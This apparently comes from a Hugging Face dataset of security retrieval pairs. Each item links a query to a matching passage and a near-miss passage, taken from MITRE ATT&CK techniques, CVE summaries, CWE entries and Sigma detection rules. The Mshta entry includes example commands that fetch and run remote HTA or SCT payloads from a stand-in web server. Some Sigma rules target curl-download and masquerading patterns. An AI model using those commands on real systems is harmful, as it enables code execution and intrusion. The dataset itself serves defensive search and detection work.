alirezaaminzadeh/secembed-pairs huggingface dataset:
Query: Lateral movement indicators for Verclsid
Matching passage: T1218.012 Verclsid. Tactics: stealth. Description: Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe) Adversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running <code>verclsid.exe /S /C {CLSID}</code>, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)). Since the binary may be signed and/or native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation: Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation: Nick Tyrer GitHub)
Near-miss passage: T1218.005 Mshta. Tactics: stealth. Description: Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications) Files may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))</code> They may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code> Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)
Query: exploit Cross-site scripting (XSS) vulnerability in settings.php in Cacti before 0.8.8d allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
Matching passage: CVE-2015-2967. CWE: CWE-79. CVSS: 4.300000190734863. Cross-site scripting (XSS) vulnerability in settings.php in Cacti before 0.8.8d allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
Near-miss passage: CVE-2015-3385. CWE: CWE-79. CVSS: 3.5. Cross-site scripting (XSS) vulnerability in the Taxonomy Path module before 7.x-1.2 for Drupal allows remote authenticated users to inject arbitrary web script or HTML via the "Link to path" field formatter.
Query: patch priority for CVE-2015-4071
Matching passage: CVE-2015-4071. CWE: CWE-200. CVSS: 5.300000190734863. The Helpdesk Pro Plugin before 1.4.0 for Joomla! allows remote attackers to read the support tickets of arbitrary users via obtaining the target ticketId, and navigating to http://{target}/component/helpdeskpro/?view=ticket&id={ticketId}.
Near-miss passage: CVE-2015-5004. CWE: CWE-200. CVSS: 4.0. The Edge Component Caching Proxy in IBM WebSphere Application Server (WAS) 8.0 before 8.0.0.12 and 8.5 before 8.5.5.8 does not properly encrypt data, which allows remote authenticated users to obtain sensitive information via unspecified vectors.
Query: exploit Cross-site scripting (XSS) vulnerability in the rails-html-sanitizer gem 1.0.2 for Ruby on Rails 4.2.x and 5.x allows remote attackers to inject arbitrary web script or HTML via an
Matching passage: CVE-2015-7579. CWE: CWE-79. CVSS: 6.099999904632568. Cross-site scripting (XSS) vulnerability in the rails-html-sanitizer gem 1.0.2 for Ruby on Rails 4.2.x and 5.x allows remote attackers to inject arbitrary web script or HTML via an HTML entity that is mishandled by the Rails::Html::FullSanitizer class.
Near-miss passage: CVE-2015-5460. CWE: CWE-79. CVSS: 4.300000190734863. Cross-site scripting (XSS) vulnerability in app/views/events/_menu.html.erb in Snorby 2.6.2 allows remote attackers to inject arbitrary web script or HTML via the title (cls.name variable) when creating a classification.
Query: risk of Unspecified vulnerability in Oracle Sun Solaris 11.2 allows local users to affect confidentiality, integrity, and availability via unknown vectors related to Solaris Kernel Zones, 
Matching passage: CVE-2015-4820. CWE: UNKNOWN. CVSS: 6.199999809265137. Unspecified vulnerability in Oracle Sun Solaris 11.2 allows local users to affect confidentiality, integrity, and availability via unknown vectors related to Solaris Kernel Zones, a different vulnerability than CVE-2015-4907.
Near-miss passage: CVE-2015-1002. CWE: UNKNOWN. CVSS: 6.400000095367432. IniNet embeddedWebServer (aka eWebServer) before 2.02 mishandles URL encoding, which allows remote attackers to write to or delete files via a crafted string.
Query: vulnerability: Cisco Web Security Appliance (WSA) 8.0.6-078 and 8.0.6-115 allows remote attackers to cause a denial of service (service outage) via a flood of TCP traffic that leads to DNS resolu
Matching passage: CVE-2015-6287. CWE: CWE-399. CVSS: 5.0. Cisco Web Security Appliance (WSA) 8.0.6-078 and 8.0.6-115 allows remote attackers to cause a denial of service (service outage) via a flood of TCP traffic that leads to DNS resolution delays, aka Bug IDs CSCur32005 and CSCur07907.
Near-miss passage: CVE-2015-1563. CWE: CWE-399. CVSS: 2.0999999046325684. The ARM GIC distributor virtualization in Xen 4.4.x and 4.5.x allows local guests to cause a denial of service by causing a large number messages to be logged.
Query: CVE similar to CVE-2015-9115
Matching passage: CVE-2015-9115. CWE: CWE-20. CVSS: 9.800000190734863. In Android before 2018-04-05 or earlier security patch level on Qualcomm Snapdragon Automobile and Snapdragon Mobile MDM9625, SD 410/12, SD 425, SD 430, SD 450, SD 615/16/SD 415, SD 617, SD 625, SD 650/52, SD 820, and SD 820A, no address argument validation is performed on calls to the qsee_prng_getdata syscall.
Near-miss passage: CVE-2015-7852. CWE: CWE-20. CVSS: 5.900000095367432. ntpq in NTP 4.2.x before 4.2.8p4, and 4.3.x before 4.3.77 allows remote attackers to cause a denial of service (crash) via crafted mode 6 response packets.
Query: write Sigma for Detects potential suspicious applet or osascript executing "osacompile".
Matching passage: Sigma rule: Detects potential suspicious applet or osascript executing "osacompile".. Logsource: macos / process_creation. Rule: title: Osacompile Execution By Potentially Suspicious Applet/Osascript id: a753a6af-3126-426d-8bd0-26ebbcb92254 status: test description: Detects potential suspicious applet or osascript executing "osacompile". references: - https://redcanary.com/blog/mac-application-bundles/ author: Sohan G (D4rkCiph3r), Red Canary (Idea) date: 2023-04-03 tags: - attack.execution - attack.t1059.002 logsource: category: process_creation product: macos detection: selection: ParentImage|endswith: - /applet - /osascript CommandLine|contains: osacompile condition: selection falsepositives: - Unknown level: medium
Near-miss passage: Sigma rule: Detects the creation of a scheduled task using schtasks.exe, potentially in combination with curl for downloading payloa. Logsource: windows / process_creation. Rule: title: Scheduled Task Creation with Curl and PowerShell Execution Combo id: 1d174d38-8fda-4081-a9b6-56d9763c0cd8 status: experimental description: 'Detects the creation of a scheduled task using schtasks.exe, potentially in combination with curl for downloading payloads and PowerShell for executing them. This facilitates executing malicious payloads or connecting with C&C server persistently without dropping the malware sample on the host. ' references: - https://tria.ge/241015-l98snsyeje/behavioral2 author: Swachchhanda Shrawan Poudel (Nextron Systems) date: 2025-02-05 tags: - attack.privilege-escalation - attack.execution - attack.persistence - attack.stealth - attack.t1053.005 - attack.t1218 - attack.command-and-control - attack.t1105 logsource: category: process_creation product: windows detection: selection_img: Image|endswith: \schtasks.exe CommandLine|contains|windash: ' /create ' selection_curl: CommandLine|contains|all: - 'curl ' - http - -o selection_powershell: CommandLine|contains: powershell condition: all of selection_* falsepositives: - Legitimate use of schtasks for administrative purposes. - Automation scripts combining curl and PowerShell in controlled environments. level: medium
Query: describe CVE-2015-1463
Matching passage: CVE-2015-1463. CWE: CWE-17. CVSS: 5.0. ClamAV before 0.98.6 allows remote attackers to cause a denial of service (crash) via a crafted petite packer file, related to an "incorrect compiler optimization."
Near-miss passage: CVE-2015-4943. CWE: CWE-17. CVSS: 5.300000190734863. IBM WebSphere MQ Light 1.x before 1.0.2 allows remote attackers to cause a denial of service (MQXR service crash) via a series of connect and disconnect actions, a different vulnerability than CVE-2015-4942.
Query: Sigma YAML for windows / system
Matching passage: Sigma rule: Detects PDQDeploy service installation on the target system. When a package is deployed via PDQDeploy it installs a remo. Logsource: windows / system. Rule: title: New PDQDeploy Service - Client Side id: b98a10af-1e1e-44a7-bab2-4cc026917648 status: test description: 'Detects PDQDeploy service installation on the target system. When a package is deployed via PDQDeploy it installs a remote service on the target machine with the name "PDQDeployRunner-X" where "X" is an integer starting from 1 ' references: - https://documentation.pdq.com/PDQDeploy/13.0.3.0/index.html?windows-services.htm author: Nasreddine Bencherchali (Nextron Systems) date: 2022-07-22 tags: - attack.persistence - attack.privilege-escalation - attack.t1543.003 logsource: product: windows service: system detection: selection_root: Provider_Name: Service Control Manager EventID: 7045 selection_service: - ImagePath|contains: PDQDeployRunner- - ServiceName|startswith: PDQDeployRunner- condition: all of selection_* falsepositives: - Legitimate use of the tool level: medium
Near-miss passage: Sigma rule: Detects the addition of a VPN SSL Web Portal on a Fortinet FortiGate Firewall. This behavior was observed in pair with m. Logsource: fortigate / event. Rule: title: FortiGate - New VPN SSL Web Portal Added id: 2bfb6216-0c31-4d20-8501-2629b29a3fa2 status: experimental description: 'Detects the addition of a VPN SSL Web Portal on a Fortinet FortiGate Firewall. This behavior was observed in pair with modification of VPN SSL settings. ' references: - https://www.fortiguard.com/psirt/FG-IR-24-535 - https://docs.fortinet.com/document/fortigate/7.6.4/fortios-log-message-reference/398/event - https://docs.fortinet.com/document/fortigate/7.6.4/cli-reference/113121765/config-vpn-ssl-web-portal - https://docs.fortinet.com/document/fortigate/7.6.4/fortios-log-message-reference/44547/44547-logid-event-config-objattr author: Marco Pedrinazzi (@pedrinazziM) (InTheCyber) date: 2025-11-01 tags: - attack.persistence - attack.initial-access - attack.t1133 logsource: product: fortigate service: event detection: selection: action: Add cfgpath: vpn.ssl.web.portal condition: selection falsepositives: - A VPN SSL Web Portal can be added for legitimate purposes. level: medium
Query: describe CVE-2015-1009
Matching passage: CVE-2015-1009. CWE: CWE-200. CVSS: 1.7000000476837158. Schneider Electric InduSoft Web Studio before 7.1.3.5 Patch 5 and Wonderware InTouch Machine Edition through 7.1 SP3 Patch 4 use cleartext for project-window password storage, which allows local users to obtain sensitive information by reading a file.
Near-miss passage: CVE-2015-5860. CWE: CWE-200. CVSS: 5.0. The CFNetwork HTTPProtocol component in Apple iOS before 9 mishandles HSTS state, which allows remote attackers to bypass the Safari private-browsing protection mechanism and track users via a crafted web site.
Query: CVE similar to CVE-2015-0906
Matching passage: CVE-2015-0906. CWE: CWE-22. CVSS: 5.800000190734863. Directory traversal vulnerability in Lhaplus before 1.70 allows remote attackers to write to arbitrary files via a crafted archive.
Near-miss passage: CVE-2015-2971. CWE: CWE-22. CVSS: 5.5. Directory traversal vulnerability in Seeds acmailer before 3.8.18 and 3.9.x before 3.9.12 Beta allows remote authenticated users to delete arbitrary files via a crafted string.
Query: risk of The virStorageVolCreateXML API in libvirt 1.2.14 through 1.2.19 allows remote authenticated users with a read-write connection to cause a denial of service (libvirtd crash) by trig
Matching passage: CVE-2015-5247. CWE: CWE-284. CVSS: 6.5. The virStorageVolCreateXML API in libvirt 1.2.14 through 1.2.19 allows remote authenticated users with a read-write connection to cause a denial of service (libvirtd crash) by triggering a failed unlink after creating a volume on a root_squash NFS pool.
Near-miss passage: CVE-2015-8832. CWE: CWE-284. CVSS: 8.800000190734863. Multiple incomplete blacklist vulnerabilities in inc/core/class.dc.core.php in Dotclear before 2.8.2 allow remote authenticated users with "manage their own media items" and "manage their own entries and comments" permissions to execute arbitrary PHP code by uploading a file with a (1) .pht, (2) .phps, or (3) .phtml extension.
Query: actor TTPs: AutoHotKey & AutoIT
Matching passage: T1059.010 AutoHotKey & AutoIT. Tactics: execution. Description: Adversaries may execute commands and perform malicious tasks using AutoIT and AutoHotKey automation scripts. AutoIT and AutoHotkey (AHK) are scripting languages that enable users to automate Windows tasks. These automation scripts can be used to perform a wide variety of actions, such as clicking on buttons, entering text, and opening and closing programs.(Citation: AutoIT)(Citation: AutoHotKey) Adversaries may use AHK (`.ahk`) and AutoIT (`.au3`) scripts to execute malicious code on a victim's system. For example, adversaries have used for AHK to execute payloads and other modular malware such as keyloggers. Adversaries have also used custom AHK files containing embedded malware as [Phishing](https://attack.mitre.org/techniques/T1566) payloads.(Citation: Splunk DarkGate) These scripts may also be compiled into self-contained executable payloads (`.exe`).(Citation: AutoIT)(Citation: AutoHotKey)
Near-miss passage: T1059.004 Unix Shell. Tactics: execution. Description: Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux, macOS, and ESXi systems, though many variations of the Unix shell exist (e.g. sh, ash, bash, zsh, etc.) depending on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell) Unix shells can control every aspect of a system, with certain commands requiring elevated privileges. Unix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems. Adversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with [SSH](https://attack.mitre.org/techniques/T1021/004). Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence. Some systems, such as embedded devices, lightweight Linux distributions, and ESXi servers, may leverage stripped-down Unix shells via Busybox, a small executable that contains a variety of tools, including a simple shell.
Query: secure coding against Improper Access Control
Matching passage: CWE-284 Improper Access Control. The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
Near-miss passage: CWE-1079 Parent Class without Virtual Destructor Method. A parent class contains one or more child classes, but the parent class does not have a virtual destructor method.
Query: describe CVE-2015-7202
Matching passage: CVE-2015-7202. CWE: CWE-119. CVSS: 10.0. Multiple unspecified vulnerabilities in the browser engine in Mozilla Firefox before 43.0 allow remote attackers to cause a denial of service (memory corruption and application crash) or possibly execute arbitrary code via unknown vectors.
Near-miss passage: CVE-2015-5783. CWE: CWE-119. CVSS: 9.300000190734863. IOGraphics in Apple OS X before 10.10.5 allows attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted app, a different vulnerability than CVE-2015-3770.
Query: alert when Detects the creation of scheduled tasks that involve system processes, which may indicate malicious actors masquerading
Matching passage: Sigma rule: Detects the creation of scheduled tasks that involve system processes, which may indicate malicious actors masquerading. Logsource: windows / process_creation. Rule: title: Scheduled Task Creation Masquerading as System Processes id: 9f8573c9-22b4-40e3-89c1-72bc2b8d49ab status: experimental description: Detects the creation of scheduled tasks that involve system processes, which may indicate malicious actors masquerading as or abusing these processes to execute payloads or maintain persistence. references: - https://tria.ge/241015-l98snsyeje/behavioral2 author: Swachchhanda Shrawan Poudel (Nextron Systems) date: 2025-02-05 tags: - attack.privilege-escalation - attack.execution - attack.persistence - attack.stealth - attack.t1053.005 - attack.t1036.004 - attack.t1036.005 logsource: category: process_creation product: windows detection: selection_img: - Image|endswith: \schtasks.exe - OriginalFileName: schtasks.exe selection_cli: CommandLine|contains|windash: ' /create ' CommandLine|contains: - ' audiodg' - ' conhost' - ' dwm.exe' - ' explorer' - ' lsass' - ' lsm' - ' mmc' - ' msiexec' - ' regsvr32' - ' rundll32' - ' services' - ' spoolsv' - ' svchost' - ' taskeng' - ' taskhost' - ' wininit' - ' winlogon' condition: all of selection_* falsepositives: - Legitimate system administration tasks scheduling trusted system processes. level: high
Near-miss passage: Sigma rule: Aversaries may use to interact with a remote network share using Server Message Block (SMB). This technique is used by p. Logsource: windows / file_event. Rule: title: Writing Local Admin Share id: 4aafb0fa-bff5-4b9d-b99e-8093e659c65f status: test description: 'Aversaries may use to interact with a remote network share using Server Message Block (SMB). This technique is used by post-exploitation frameworks. ' references: - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.002/T1021.002.md#atomic-test-4---execute-command-writing-output-to-local-admin-share author: frack113 date: 2022-01-01 modified: 2022-08-13 tags: - attack.privilege-escalation - attack.persistence - attack.lateral-movement - attack.t1546.002 logsource: product: windows category: file_event detection: selection: TargetFilename|contains|all: - \\\\127.0.0 - \ADMIN$\ condition: selection falsepositives: - Unknown level: medium
Query: common weakness: Behavioral Change in New Version or Environment
Matching passage: CWE-439 Behavioral Change in New Version or Environment. A's behavior or functionality changes with a new version of A, or a new environment, which is not known (or manageable) by B.
Near-miss passage: CWE-144 Improper Neutralization of Line Delimiters. The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as line delimiters when they are sent to a downstream component.
Query: defense impairment using Downgrade System Image
Matching passage: T1601.002 Downgrade System Image. Tactics: defense impairment. Description: Adversaries may install an older version of the operating system of a network device to weaken security. Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features. (Citation: Cisco Synful Knock Evolution) On embedded devices, downgrading the version typically only requires replacing the operating system file in storage. With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart. The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts. Downgrading the system image to an older versions may allow an adversary to evade defenses by enabling behaviors such as [Weaken Encryption](https://attack.mitre.org/techniques/T1600). Downgrading of a system image can be done on its own, or it can be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001).
Near-miss passage: T1601 Modify System Image. Tactics: defense impairment. Description: Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves. On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file. To change the operating system, the adversary typically only needs to affect this one file, replacing or modifying it. This can either be done live in memory during system runtime for immediate effect, or in storage to implement the change on the next boot of the network device.
Query: CVE similar to CVE-2015-1015
Matching passage: CVE-2015-1015. CWE: CWE-200. CVSS: 2.0999999046325684. Omron CX-One CX-Programmer before 9.6, CJ2M PLC devices before 2.1, and CJ2H PLC devices before 1.5 use a reversible format for password storage in object files on Compact Flash cards, which makes it easier for local users to obtain sensitive information by reading a file.
Near-miss passage: CVE-2015-2998. CWE: CWE-200. CVSS: 5.0. SysAid Help Desk before 15.2 uses a hardcoded encryption key, which makes it easier for remote attackers to obtain sensitive information, as demonstrated by decrypting the database password in WEB-INF/conf/serverConf.xml.
Query: vulnerability: Unspecified vulnerability in the Data Store component in Oracle Berkeley DB 11.2.5.1.29, 11.2.5.2.42, 11.2.5.3.28, and 12.1.6.0.35 allows local users to affect integrity and availa
Matching passage: CVE-2015-4788. CWE: UNKNOWN. CVSS: 3.299999952316284. Unspecified vulnerability in the Data Store component in Oracle Berkeley DB 11.2.5.1.29, 11.2.5.2.42, 11.2.5.3.28, and 12.1.6.0.35 allows local users to affect integrity and availability via unknown vectors, a different vulnerability than CVE-2015-4774 and CVE-2015-4779.
Near-miss passage: CVE-2015-3084. CWE: UNKNOWN. CVSS: 10.0. Adobe Flash Player before 13.0.0.289 and 14.x through 17.x before 17.0.0.188 on Windows and OS X and before 11.2.202.460 on Linux, Adobe AIR before 17.0.0.172, Adobe AIR SDK before 17.0.0.172, and Adobe AIR SDK & Compiler before 17.0.0.172 allow attackers to execute arbitrary code by leveraging an unspecified "type confusion," a different vulnerability than CVE-2015-3077 and CVE-2015-3086.